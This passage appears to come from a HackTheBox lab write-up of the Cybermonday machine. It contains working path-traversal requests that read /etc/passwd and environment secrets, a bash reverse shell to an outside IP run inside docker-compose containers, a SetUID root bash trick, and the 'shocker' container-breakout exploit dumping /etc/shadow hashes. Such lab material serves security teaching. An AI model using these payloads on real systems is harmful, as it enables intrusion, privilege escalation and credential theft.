$logs = scandir($logPath);
array_splice($logs, 0, 1); array_splice($logs, 0, 1);
return $this->response(["status" => "success", "message" => $logs]);
If the action
is “read”, it removes ../
and spaces from the log_name
, and returns the log if it exists and “log” is in the $logName
:
case "read":
$logName = $this->data->log_name;
if(preg_match("/\.\.\//", $logName))
{
return $this->response(["status" => "error", "message" => "This log does not exist"]);
}
$logName = str_replace(' ', '', $logName);
if(stripos($logName, "log") === false)
{
return $this->response(["status" => "error", "message" => "This log does not exist"]);
}
if(!file_exists($logPath.$logName))
{
return $this->response(["status" => "error", "message" => "This log does not exist"]);
}
$logContent = file_get_contents($logPath.$logName);
return $this->response(["status" => "success", "message" => $logContent]);
}
}
}
apiKeyAuth
At the top of LogsController
there’s a call to $this->apiKeyAuth()
. This function is defined in app/helpers/Api.php
:
public function apiKeyAuth()
{
$this->api_key = "22892e36-1770-11ee-be56-0242ac120002";
if(!isset($_SERVER["HTTP_X_API_KEY"]) || empty($_SERVER["HTTP_X_API_KEY"]) || $_SERVER["HTTP_X_API_KEY"] != $this->api_key)
{
return $this->response(["status" => "error", "message" => "Unauthorized"], 403);
}
}
It checks that the x-api-key
header in the request is set to a hard-coded value, “22892e36-1770-11ee-be56-0242ac120002”.
Path Traversal
Snyk identifies this as a case where “Unsanitized input flows into file_get_contents
”, but there is some sanitization that it misses. Unfortunately, the developer made an error. First the code removes the ../
, and then it replaces spaces with nothing. That means if the $logName
contains something like .. /
(with a space between the second dot and the slash), it will make it through.
This error allows me to read any file I want. There is potentially a way to list other directories. I could go look at how the webhook creates paths to see, but I’ll see if I can get what I need from just reading known files.
Unlisted Routes
When I request /
on the API it returns a list of routes, and it’s not clear based on that list what would lead to the code in LogController.php
:
- POST
/auth/register
- POST
/auth/login
- GET
/webhooks
- POST
/webhooks/create
- DELETE
/webhooks/delete/:uuid
- POST
/webhooks/:uuid
It’s tempting to think that this list is generated based on the available endpoints, but there are a couple hints it’s not. For one, /
isn’t included, and it definitely exists and returns something. Additionally, there’s a typo in /webhooks/delete
, where it’s missing a /
before the :uuid
:
"/webhooks/delete:uuid": {
"method": "DELETE"
},
Looking at app/routes/Router.php
, it defines the actual routes:
public static function get()
{
return [
"get" => [
"/" => "IndexController@index",
"/webhooks" => "WebhooksController@index"
],
"post" => [
"/auth/register" => "AuthController@register",
"/auth/login" => "AuthController@login",
"/webhooks/create" => "WebhooksController@create",
"/webhooks/:uuid" => "WebhooksController@get",
"/webhooks/:uuid/logs" => "LogsController@index"
],
"delete" => [
"/webhooks/delete/:uuid" => "WebhooksController@delete",
]
];
}
In addition to the ones above, it shows /
and /webhooks/:uuid/logs
. The latter triggers the LogsController
.
File Read
Benign Interactions
I’ll create a new webhook to get a fresh start:
oxdf@hacky$ curl http://webhooks-api-beta.cybermonday.htb/webhooks/create -H "x-access-token: $ADMIN" -d '{"name": "0xdflog", "description": "hacking this thing", "action": "createLogFile"}' -H "Content-type: application/json"
{"status":"success","message":"Done! Send me a request to execute the action, as the event listener is still being developed.","webhook_uuid":"4a8e3d61-e13b-452b-a72e-4464018e7e6e"}
oxdf@hacky$ export UUID=4a8e3d61-e13b-452b-a72e-4464018e7e6e
I’ll write a log file:
oxdf@hacky$ curl http://webhooks-api-beta.cybermonday.htb/webhooks/$UUID -H "x-access-token: $ADMIN" -d '{"log_name": "0xdflog", "log_content": "this is test content"}' -H "Content-type: application/json"
{"status":"success","message":"Log created"}
If I try to list the files, I get an unauthorized error:
oxdf@hacky$ curl http://webhooks-api-beta.cybermonday.htb/webhooks/$UUID/logs -H "x-access-token: $ADMIN" -d '{"action": "list"}' -H "Content-type: application/json"
{"status":"error","message":"Unauthorized"}
This is the additional API key auth. I’ll add that header:
oxdf@hacky$ curl http://webhooks-api-beta.cybermonday.htb/webhooks/$UUID/logs -H "x-access-token: $ADMIN" -d '{"action": "list"}' -H "Content-type: application/json" -H "x-api-key: 22892e36-1770-11ee-be56-0242ac120002"
{"status":"success","message":["0xdflog-1701258393.log"]}
I can read that log:
oxdf@hacky$ curl http://webhooks-api-beta.cybermonday.htb/webhooks/$UUID/logs -H "x-access-token: $ADMIN" -d '{"action": "read", "log_name": "0xdflog-1701258393.log"}' -H "Content-type: application/json" -H "x-api-key: 22892e36-1770-11ee-be56-0242ac120002"
{"status":"success","message":"this is test content\n"}
Directory Traversal
I’ll now try to read /etc/passwd
. The logs are stored in /logs/{webhook name}/
, so I should need to go up two directories and then into /etc
:
oxdf@hacky$ curl http://webhooks-api-beta.cybermonday.htb/webhooks/$UUID/logs -H "x-access-token: $ADMIN" -d '{"action": "read", "log_name": ".. /.. /etc/passwd"}' -H "Content-type: application/json" -H "x-api-key: 22892e36-1770-11ee-be56-0242ac120002"
{"status":"error","message":"This log does not exist"}
This is because of the check looking for the string “log” in the path. I’ll go into the logs
directory and then back out again to satisfy this check:
oxdf@hacky$ curl http://webhooks-api-beta.cybermonday.htb/webhooks/$UUID/logs -H "x-access-token: $ADMIN" -d '{"action": "read", "log_name": ".. /.. /logs/.. /etc/passwd"}' -H "Content-type: application/json" -H "x-api-key: 22892e36-1770-11ee-be56-0242ac120002"
{"status":"success","message":"root:x:0:0:root:\/root:\/bin\/bash\ndaemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin\nbin:x:2:2:bin:\/bin:\/usr\/sbin\/nologin\nsys:x:3:3:sys:\/dev:\/usr\/sbin\/nologin\nsync:x:4:65534:sync:\/bin:\/bin\/sync\ngames:x:5:60:games:\/usr\/games:\/usr\/sbin\/nologin\nman:x:6:12:man:\/var\/cache\/man:\/usr\/sbin\/nologin\nlp:x:7:7:lp:\/var\/spool\/lpd:\/usr\/sbin\/nologin\nmail:x:8:8:mail:\/var\/mail:\/usr\/sbin\/nologin\nnews:x:9:9:news:\/var\/spool\/news:\/usr\/sbin\/nologin\nuucp:x:10:10:uucp:\/var\/spool\/uucp:\/usr\/sbin\/nologin\nproxy:x:13:13:proxy:\/bin:\/usr\/sbin\/nologin\nwww-data:x:33:33:www-data:\/var\/www:\/usr\/sbin\/nologin\nbackup:x:34:34:backup:\/var\/backups:\/usr\/sbin\/nologin\nlist:x:38:38:Mailing List Manager:\/var\/list:\/usr\/sbin\/nologin\nirc:x:39:39:ircd:\/run\/ircd:\/usr\/sbin\/nologin\n_apt:x:42:65534::\/nonexistent:\/usr\/sbin\/nologin\nnobody:x:65534:65534:nobody:\/nonexistent:\/usr\/sbin\/nologin\n"}
That’s the /etc/passwd
file!
Find Password
My first thought was to read the .env
file for this server, just like on the app, to get the database creds loaded in config.php
. Unfortunately, it doesn’t exist:
oxdf@hacky$ curl http://webhooks-api-beta.cybermonday.htb/webhooks/$UUID/logs -H "x-access-token: $ADMIN" -d '{"action": "read", "log_name": ".. /.. /logs/.. /var/www/html/.env"}' -H "Content-type: application/json" -H "x-api-key: 22892e36-1770-11ee-be56-0242ac120002"
{"status":"error","message":"This log does not exist"}
It’s possible that they are loaded by Docker from the host. I’ll dump the environment from the /proc
structure:
oxdf@hacky$ curl http://webhooks-api-beta.cybermonday.htb/webhooks/$UUID/logs -H "x-access-token: $ADMIN" -d '{"action": "read", "log_name": ".. /.. /logs/.. /proc/self/environ"}' -H "Content-type: application/json" -H "x-api-key: 22892e36-1770-11ee-be56-0242ac120002"
{"status":"success","message":"HOSTNAME=e1862f4e1242\u0000PHP_INI_DIR=\/usr\/local\/etc\/php\u0000HOME=\/root\u0000PHP_LDFLAGS=-Wl,-O1 -pie\u0000PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64\u0000DBPASS=ngFfX2L71Nu\u0000PHP_VERSION=8.2.7\u0000GPG_KEYS=39B641343D8C104B2B146DC3F9C39DC0B9698544 E60913E4DF209907D8E30D96659A97C9CF2A795A 1198C0117593497A5EC5C199286AF1F9897469DC\u0000PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64\u0000PHP_ASC_URL=https:\/\/www.php.net\/distributions\/php-8.2.7.tar.xz.asc\u0000PHP_URL=https:\/\/www.php.net\/distributions\/php-8.2.7.tar.xz\u0000DBHOST=db\u0000DBUSER=dbuser\u0000PATH=\/usr\/local\/sbin:\/usr\/local\/bin:\/usr\/sbin:\/usr\/bin:\/sbin:\/bin\u0000DBNAME=webhooks_api\u0000PHPIZE_DEPS=autoconf \t\tdpkg-dev \t\tfile \t\tg++ \t\tgcc \t\tlibc-dev \t\tmake \t\tpkg-config \t\tre2c\u0000PWD=\/var\/www\/html\u0000PHP_SHA256=4b9fb3dcd7184fe7582d7e44544ec7c5153852a2528de3b6754791258ffbdfa0\u0000"}
That works, but it’s ugly. jq
and some more bash
foo to fix that:
oxdf@hacky$ curl -s http://webhooks-api-beta.cybermonday.htb/webhooks/$UUID/logs -H "x-access-token: $ADMIN" -d '{"action": "read", "log_name": ".. /.. /logs/.. /proc/self/environ"}' -H "Content-type: application/json" -H "x-api-key: 22892e36-1770-11ee-be56-0242ac120002" | jq -r '.message' | tr '\000' '\n'
HOSTNAME=e1862f4e1242
PHP_INI_DIR=/usr/local/etc/php
HOME=/root
PHP_LDFLAGS=-Wl,-O1 -pie
PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
DBPASS=ngFfX2L71Nu
PHP_VERSION=8.2.7
GPG_KEYS=39B641343D8C104B2B146DC3F9C39DC0B9698544 E60913E4DF209907D8E30D96659A97C9CF2A795A 1198C0117593497A5EC5C199286AF1F9897469DC
PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
PHP_ASC_URL=https://www.php.net/distributions/php-8.2.7.tar.xz.asc
PHP_URL=https://www.php.net/distributions/php-8.2.7.tar.xz
DBHOST=db
DBUSER=dbuser
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
DBNAME=webhooks_api
PHPIZE_DEPS=autoconf dpkg-dev file g++ gcc libc-dev make pkg-config re2c
PWD=/var/www/html
PHP_SHA256=4b9fb3dcd7184fe7582d7e44544ec7c5153852a2528de3b6754791258ffbdfa0
DBPASS=ngFfX2L71Nu
SSH
With a username john identified in the SSH authorized_keys
file above, and a password, I’ll try SSH, and it works:
oxdf@hacky$ sshpass -p ngFfX2L71Nu ssh john@cybermonday.htb
Linux cybermonday 5.10.0-24-amd64 #1 SMP Debian 5.10.179-5 (2023-08-08) x86_64
...[snip]...
john@cybermonday:~$
Finally I can read user.txt
:
john@cybermonday:~$ cat user.txt
459aa004************************
Shell as root
Enumeration
john’s home directory is nothing different from what was mounted into the API container.
The only other thing that jumps out on the file system is a Python script in /opt
:
john@cybermonday:/$ ls opt/
secure_compose.py
john can also run this as root using sudo
:
john@cybermonday:~$ sudo -l
[sudo] password for john:
Matching Defaults entries for john on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User john may run the following commands on localhost:
(root) /opt/secure_compose.py *.yml
secure_compose.py
Overview
The python script defines a bunch of functions, and then at the bottom runs with the standard dunder-name check:
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"Use: {sys.argv[0]} <docker-compose.yml>")
sys.exit(1)
filename = sys.argv[1]
if main(filename):
temp_dir = create_random_temp_dir()
copy_docker_compose_to_temp_dir(filename, temp_dir)
os.chdir(temp_dir)
signal.signal(signal.SIGINT, signal_handler)
print("Starting services...")
result = subprocess.run(["/usr/bin/docker-compose", "up", "--build"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
print("Finishing services")
cleanup(temp_dir)
It checks that exactly one arg is provided, showing usage otherwise. Then it calls name
on the given argument, which does a bunch of validation on the argument, returning True
or False
. If it returns True
, then it create a temp directory, copies the input file into that directory named docker-compose.yml
, goes into that directory, configures a signal handler, then calls subprocess.run
to run docker-compose up --build
. After starting the containers, it calls cleanup
, which calls docker-compose down --volumes
and then removes the temp directory. Effectively, this should let me start a multi-container Docker application from a yml file, and then kill it.
The signal handler just calls the cleanup function and exits when Ctrl
+ c
is entered:
def signal_handler(sig, frame):
print("\nSIGINT received. Cleaning up...")
cleanup(temp_dir)
sys.exit(1)
It simply calls cleanup
on the temp directory and exits.
main
What remains is to understand what main
does to determine if the compose file is valid. Without this, I could easily start a container with the filesystem root mounted into it and then enter as root.
main
is a series of checks, each of which just returns False
if failed. First main
checks that the file exists:
def main(filename):
if not os.path.exists(filename):
print(f"File not found")
return False
Then it sale_loads
the yaml, and validates that it has a services
key as all compose files must have according to the specs:
with open(filename, "r") as file:
try:
data = yaml.safe_load(file)
except yaml.YAMLError as e:
print(f"Error: {e}")
return False
if "services" not in data:
print("Invalid docker-compose.yml")
return False
services = data["services"]
Then it calls check_no_privileged
on the service:
if not check_no_privileged(services):
print("Privileged mode is not allowed.")
return False
This function does what it says, checking for the “privileged” flag in the items:
def check_no_privileged(services):
for service, config in services.items():
if "privileged" in config and config["privileged"] is True:
return False
return True
Finally, it checks the volumes defined in the compose:
for service, config in services.items():
if "volumes" in config:
volumes = config["volumes"]
if not check_whitelist(volumes) or not check_read_only(volumes):
print(f"Service '{service}' is malicious.")
return False
if not check_no_symlinks(volumes):
print(f"Service '{service}' contains a symbolic link in the volume, which is not allowed.")
return False
return True
check_read_only
makes sure that each volume definition string ends in :ro
making it read only. Volume definitions typically look like host_path:container_path:permissions
, thought they can also be just host_path:container_path
with the default rw
permissions. This means that all volumes must be mounted as read only.
check_whitelist
requires that the volume has three items separated by :
(which it must to pass the check_whitelist
check) and that the host path is on an allowed list:
def is_path_inside_whitelist(path):
whitelist = [f"/home/{get_user()}", "/mnt"]
for allowed_path in whitelist:
if os.path.abspath(path).startswith(os.path.abspath(allowed_path)):
return True
return False
def get_user():
return os.environ.get("SUDO_USER")
It can only mount /mnt
(which is empty) or the current user’s home directory, getting the user who called sudo
, even if it’s running as root.
#!/usr/bin/python3
import sys, yaml, os, random, string, shutil, subprocess, signal
def get_user():
return os.environ.get("SUDO_USER")
def is_path_inside_whitelist(path):
whitelist = [f"/home/{get_user()}", "/mnt"]
for allowed_path in whitelist:
if os.path.abspath(path).startswith(os.path.abspath(allowed_path)):
return True
return False
def check_whitelist(volumes):
for volume in volumes:
parts = volume.split(":")
if len(parts) == 3 and not is_path_inside_whitelist(parts[0]):
return False
return True
def check_read_only(volumes):
for volume in volumes:
if not volume.endswith(":ro"):
return False
return True
def check_no_symlinks(volumes):
for volume in volumes:
parts = volume.split(":")
path = parts[0]
if os.path.islink(path):
return False
return True
def check_no_privileged(services):
for service, config in services.items():
if "privileged" in config and config["privileged"] is True:
return False
return True
def create_random_temp_dir():
letters_digits = string.ascii_letters + string.digits
random_str = ''.join(random.choice(letters_digits) for i in range(6))
temp_dir = f"/tmp/tmp-{random_str}"
return temp_dir
def copy_docker_compose_to_temp_dir(filename, temp_dir):
os.makedirs(temp_dir, exist_ok=True)
shutil.copy(filename, os.path.join(temp_dir, "docker-compose.yml"))
def cleanup(temp_dir):
subprocess.run(["/usr/bin/docker-compose", "down", "--volumes"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
shutil.rmtree(temp_dir)
def signal_handler(sig, frame):
print("\nSIGINT received. Cleaning up...")
cleanup(temp_dir)
sys.exit(1)
Priv #1 SetUID bash
Remount Fail #1
I originally solved this by creating a container with john’s home directory, and creating a SetUID bash
instance in it owned by root. This is apparently unintended, and the box author made some attempts to make this not work.
I’ll create a simple docker-compose.yml
file:
version: "3"
services:
web:
image: cybermonday_api
command: bash -c 'bash -i >& /dev/tcp/10.10.14.6/443 0>&1'
volumes:
- /home/john:/john:ro
This will create a container using the only image I know exists on Cybermonday. It’ll run a bash reverse shell to keep the start hanging while I interact with it. It will also mount john’s home directory into /john
.
I’ll start nc
in a different terminal and run the script:
john@cybermonday:~$ sudo /opt/secure_compose.py /tmp/docker-compose.yml
Starting services...
At nc
there’s a shell in the container:
oxdf@hacky$ nc -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.228 44116
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@b919eb60dec1:/var/www/html#
john’s home directory is there:
root@b919eb60dec1:/john# ls
0xdf
changelog.txt
logs
user.txt
I can’t write to it because it’s read only:
root@b919eb60dec1:/john# touch test
touch: cannot touch 'test': Read-only file system
The plan is to re-mount the share. It’s currently mounted from /dev/sda1
:
root@b919eb60dec1:~# mount | grep john
/dev/sda1 on /john type ext4 (ro,relatime,errors=remount-ro)
I’ll try to remount it, but I don’t have permissions:
root@b919eb60dec1:~# mount -o remount,rw /john
mount: /john: permission denied.
dmesg(1) may have more information after failed mount system call.
Remount Fail #2
I’ll try adding capabilities to the container to give it more permissions:
version: "3"
services:
web:
image: cybermonday_api
command: bash -c 'bash -i >& /dev/tcp/10.10.14.6/443 0>&1'
volumes:
- /home/john:/john:ro
cap_add:
- ALL
I’ll start it again, and try the remount inside the container:
root@0f792b9d3594:~l# mount -o remount,rw /john
mount -o remount,rw /john
mount: /john: cannot remount /dev/sda1 read-write, is write-protected.
dmesg(1) may have more information after failed mount system call.
This is progress. It’s still an error, but no longer a permissions issue.
Remount Success
In searching for these error messages, I’ll come across a bunch of different Docker related threads with failing mounts where the answer has to do with AppArmor:
In all these issues, there is mention of AppArmor and disabling it with --security-opt apparmor:unconfined
. This can be put in the docker-compose file:
version: "3"
services:
web:
image: cybermonday_api
command: bash -c 'bash -i >& /dev/tcp/10.10.14.6/443 0>&1'
volumes:
- /home/john:/john:ro
cap_add:
- ALL
security_opt:
- apparmor:unconfined
When I start this one, the mount
works!
root@5aefd84ef8a9:~# mount -o remount,rw /john
root@5aefd84ef8a9:~# touch /john/test
And the file I write shows up on the host owned by root:
john@cybermonday:~$ ls -l test
-rw-r--r-- 1 root root 0 Nov 29 14:52 test
SetUID Bash
I’ll copy the host’s bash
into /home/john
:
john@cybermonday:~$ cp /bin/bash 0xdf
As I want this to run on the host, it’s important to use the bash
binary from the host, as the one in the container won’t run on it.
This file is owned by UID 1000:
root@5aefd84ef8a9:/john# ls -l 0xdf
ls -l 0xdf
-rwxr-xr-x 1 1000 1000 1234376 Nov 29 19:54 0xdf
I’ll update the owner and set it as SetUID/SetGID:
root@5aefd84ef8a9:/john# chown root:root 0xdf
root@5aefd84ef8a9:/john# chmod 6777 0xdf
It works:
john@cybermonday:~$ ls -l 0xdf
-rwsrwsrwx 1 root root 1234376 Nov 29 14:54 0xdf
Running it with -p
gives a shell with effective ID of root:
john@cybermonday:~$ ./0xdf -p
0xdf-5.1# id
uid=1000(john) gid=1000(john) euid=0(root) egid=0(root) groups=0(root),1000(john)
Which is enough to read root.txt
:
0xdf-5.1# cat root.txt
2f076cf2************************
If I wanted to have uid
and gid
as root, I could use Python:
0xdf-5.1# python3 -c 'import os; os.setuid(0); os.setgid(0); os.system("bash")'
root@cybermonday:/root# id
uid=0(root) gid=0(root) groups=0(root),1000(john)
Priv #2 File Read via CAP_DAC_READ_SEARCH
Strategy
The intended path to solve this step was to abuse capabilities to allow the container to read files from the host. This 2014 blog post shows how CAP_DAC_READ_SEARCH
can be abused from within a container with the open_by_handle_at
syscall. This call allows me access to handles from other processes. The security here is that I can only open these handles if I have access to them. But with CAP_DAC_READ_SEARCH
, these permissions are ignored. I exploited this before in Talkative.
Container
For this strategy, I only need to add the capability:
version: "3"
services:
web:
image: cybermonday_api
command: bash -c "bash -i >& /dev/tcp/10.10.14.6/443 0>&1"
cap_add:
- CAP_DAC_READ_SEARCH
I’ll start the container and get a shell in it.
POC File Read
There’s a POC exploit linked from the blog post above. I’ll upload it to the container and then compile it:
root@7f9021a85ad9:/var/www/html# gcc -Wall shocker.c -static -o shocker
When I run this, it fails:
root@7f9021a85ad9:/var/www/html# ./shocker
[***] docker VMM-container breakout Po(C) 2014 [***]
[***] The tea from the 90's kicks your sekurity again. [***]
[***] If you have pending sec consulting, I'll happily [***]
[***] forward to my friends who drink secury-tea too! [***]
<enter>
[-] open: No such file or directory
That’s an error at this line in the code:
// get a FS reference from something mounted in from outside
if ((fd1 = open("/.dockerinit", O_RDONLY)) < 0)
die("[-] open");
.dockerinit
is an old file, which makes sense since this exploit was written in 2014. I’ll just use /etc/hosts
. After changing that filename, I’ll upload the code, compile it again, and run:
root@e879159934d1:/var/www/html# ./shocker
[***] docker VMM-container breakout Po(C) 2014 [***]
[***] The tea from the 90's kicks your sekurity again. [***]
[***] If you have pending sec consulting, I'll happily [***]
[***] forward to my friends who drink secury-tea too! [***]
<enter>
[*] Resolving 'etc/shadow'
[*] Found lib
[*] Found boot
[*] Found libx32
[*] Found bin
[*] Found vmlinuz.old
[*] Found initrd.img
[*] Found ..
[*] Found root
[*] Found sys
[*] Found lib64
[*] Found proc
[*] Found .
[*] Found dev
[*] Found lost+found
[*] Found initrd.img.old
[*] Found etc
[+] Match: etc ino=129793
[*] Brute forcing remaining 32bit. This can take a while...
[*] (etc) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0x01, 0xfb, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00};
[*] Resolving 'shadow'
[*] Found X11
[*] Found tmpfiles.d
[*] Found mailcap.order
[*] Found python3
[*] Found bash_completion
[*] Found cron.d
[*] Found ld.so.cache
[*] Found cron.hourly
[*] Found dhcp
[*] Found docker
[*] Found sudo.conf
[*] Found manpath.config
[*] Found pam.d
[*] Found motd
[*] Found network
[*] Found networks
[*] Found ld.so.conf.d
[*] Found discover-modprobe.conf
[*] Found cron.daily
[*] Found initramfs-tools
[*] Found subuid
[*] Found audit
[*] Found rc1.d
[*] Found debconf.conf
[*] Found grub.d
[*] Found security
[*] Found rcS.d
[*] Found rsyslog.d
[*] Found python3.9
[*] Found reportbug.conf
[*] Found passwd-
[*] Found ..
[*] Found locale.gen
[*] Found dictionaries-common
[*] Found modprobe.d
[*] Found rc3.d
[*] Found kernel-img.conf
[*] Found ssh
[*] Found passwd
[*] Found rsyslog.conf
[*] Found e2scrub.conf
[*] Found debian_version
[*] Found gshadow
[*] Found .pwd.lock
[*] Found ssl
[*] Found default
[*] Found sv
[*] Found xattr.conf
[*] Found logrotate.d
[*] Found apt
[*] Found sudo_logsrvd.conf
[*] Found ld.so.conf
[*] Found sudoers
[*] Found .
[*] Found binfmt.d
[*] Found needrestart
[*] Found group-
[*] Found update-motd.d
[*] Found fuse.conf
[*] Found inputrc
[*] Found rc4.d
[*] Found logrotate.conf
[*] Found rc5.d
[*] Found issue
[*] Found mime.types
[*] Found profile
[*] Found hosts.deny
[*] Found shadow
[+] Match: shadow ino=132390
[*] Brute forcing remaining 32bit. This can take a while...
[*] (shadow) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0x26, 0x05, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00};
[!] Got a final handle!
[*] #=8, 1, char nh[] = {0x26, 0x05, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00};
[!] Win! /etc/shadow output follows:
root:$y$j9T$kndrQlLwiIgjD3Jegw0bP0$8gT7HQZoAIe6owK9kIDzj4qriqKfygMooOkk5go9i40:19506:0:99999:7:::
daemon:*:19506:0:99999:7:::
bin:*:19506:0:99999:7:::
sys:*:19506:0:99999:7:::
sync:*:19506:0:99999:7:::
games:*:19506:0:99999:7:::
man:*:19506:0:99999:7:::
lp:*:19506:0:99999:7:::
mail:*:19506:0:99999:7:::
news:*:19506:0:99999:7:::
uucp:*:19506:0:99999:7:::
proxy:*:19506:0:99999:7:::
www-data:*:19506:0:99999:7:::
backup:*:19506:0:99999:7:::
list:*:19506:0:99999:7:::
irc:*:19506:0:99999:7:::
gnats:*:19506:0:99999:7:::
nobody:*:19506:0:99999:7:::
_apt:*:19506:0:99999:7:::
systemd-network:*:19506:0:99999:7:::
systemd-resolve:*:19506:0:99999:7:::
messagebus:*:19506:0:99999:7:::
systemd-timesync:*:19506:0:99999:7:::
sshd:*:19506:0:99999:7:::
john:$y$j9T$GjbNtuqeiU3F8AVjXki/F1$E.mwZgDhVYWBR8UfeQDDO91/Z8cGKOW.ec0iK9Xj017:19569:0:99999:7:::
systemd-coredump:!*:19506::::::
_laurel:!:19572::::::
The output is long, but it ends with /etc/shadow
!
Any File
I don’t just want to read /etc/passwd
. I’ll update the main
function to take args:
int main(int argc, char* argv[])
I’ll also update the file being read:
if (find_handle(fd1, argv[1], &root_h, &h) <= 0)
die("[-] Cannot find valid handle!");
For completeness, I’ll update the success print:
fprintf(stderr, "[!] Win! %s output follows:\n%s\n", argv[1], buf);
I’ll upload, compile, and run, this time with an arg (as I did not checks, it just crashes with no arg):
root@e879159934d1:/var/www/html# ./shocker /root/root.txt
[***] docker VMM-container breakout Po(C) 2014 [***]
[***] The tea from the 90's kicks your sekurity again. [***]
[***] If you have pending sec consulting, I'll happily [***]
[***] forward to my friends who drink secury-tea too! [***]
<enter>
[*] Resolving 'root/root.txt'
[*] Found lib
[*] Found boot
[*] Found libx32
[*] Found bin
[*] Found vmlinuz.old
[*] Found initrd.img
[*] Found ..
[*] Found root
[+] Match: root ino=20
[*] Brute forcing remaining 32bit. This can take a while...
[*] (root) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
[*] Resolving 'root.txt'
[*] Found ..
[*] Found .
[*] Found .profile
[*] Found .local
[*] Found root.txt
[+] Match: root.txt ino=38
[*] Brute forcing remaining 32bit. This can take a while...
[*] (root.txt) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0x26, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
[!] Got a final handle!
[*] #=8, 1, char nh[] = {0x26, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
[!] Win! /root/root.txt output follows:
2f076cf2************************
There’s the root flag!
Priv #3 Kernel Module
It would be disappointing for a HackTheBox machine to grant only file read and not a root shell. Typically, HTB would at least leave a root SSH key or make the root password crackable, but that’s not the case here.
The intended way to get execution is to do the same escalation I showed in Monitors, but using capabilities in the container to load a kernel module.
I won’t show it here, as it’s the same as monitors. The only extra trick (which is by no means trivial) is getting the kernel image and headers along with things like insmod
and the packages it requires installed in the container so that the exploit can be compiled and loaded.
Beyond Root
Modifying PyJWT
The Python JWT library has safe guards in place to prevent developers from making mistakes that would lead to algorithm confusion vulnerabilities. I ran into those above and switched to a tool designed for offensive JWT generation and manipulation, jwt_tool
.
Still, it’s a good exercise to understand how these protections are in place, and if I can modify the library to let me past the guard rail. That’s what I’ll do in this video:
nginx Config
Given the off-by-slash vulnerability at the start of the box, I wanted to check the nginx config now that I have root access.
There are six docker containers, matching what I identified with nmap
:
root@cybermonday:~# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
e1862f4e1242 cybermonday_api "docker-php-entrypoi…" 4 months ago Up 2 weeks cybermonday_api_1
e9eb887a4ca9 registry:latest "/entrypoint.sh /etc…" 4 months ago Up 2 weeks 5000/tcp cybermonday_registry_1
d91450e894df nginx:latest "/docker-entrypoint.…" 4 months ago Up 2 weeks 0.0.0.0:80->80/tcp cybermonday_nginx_1
070370e2cdc4 cybermonday_app "docker-php-entrypoi…" 4 months ago Up 2 weeks 9000/tcp cybermonday_app_1
743ed0a8f73d mysql:latest "docker-entrypoint.s…" 4 months ago Up 2 weeks 3306/tcp, 33060/tcp cybermonday_db_1
a2cbf3bec867 redis:latest "docker-entrypoint.s…" 4 months ago Up 2 weeks 6379/tcp cybermonday_redis_1
I’ll get a shell in the nginx container:
root@cybermonday:~# docker exec -it cybermonday_nginx_1 bash
root@d91450e894df:/#
There is no sites-available
/ sites-enabled
folders as I’m used to seeing:
root@d91450e894df:/etc/nginx# ls
conf.d fastcgi_params includes mime.types modules nginx.conf scgi_params uwsgi_params
The webservers are defined in conf.d/default.conf
. The first is for the api:
server {
listen 80;
server_name webhooks-api-beta.cybermonday.htb;
location / {
proxy_pass http://api;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
}
If the server_name
matches, then it proxies it over to http://api
.
Next is the default server:
server {
listen 80 default_server;
server_name _;
charset UTF-8;
location / {
return 301 http://cybermonday.htb;
}
access_log off;
log_not_found off;
error_log /var/log/nginx/error.log error;
}
For any server name that doesn’t match another, it returns a 301 redirect to http://cybermonday.htb
.
The final server is for cybermonday.htb
:
server {
listen 80;
server_name cybermonday.htb;
root /var/www/html/public;
index index.php index.html index.htm;
location / {
try_files $uri $uri/ /index.php?$query_string;
}
location /assets {
alias /var/www/html/resources/;
}
location ~ \.php$ {
try_files $uri /index.php =404;
fastcgi_pass app:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
For a request to /
, it tries to find a file at the URI, URI plus slash, and at index.php
. For anything ending in .php
, it passes it to the app on port 9000.
The vulnerability is in the location /assets
. That should have a trailing /
. Without it, I can do what I did above.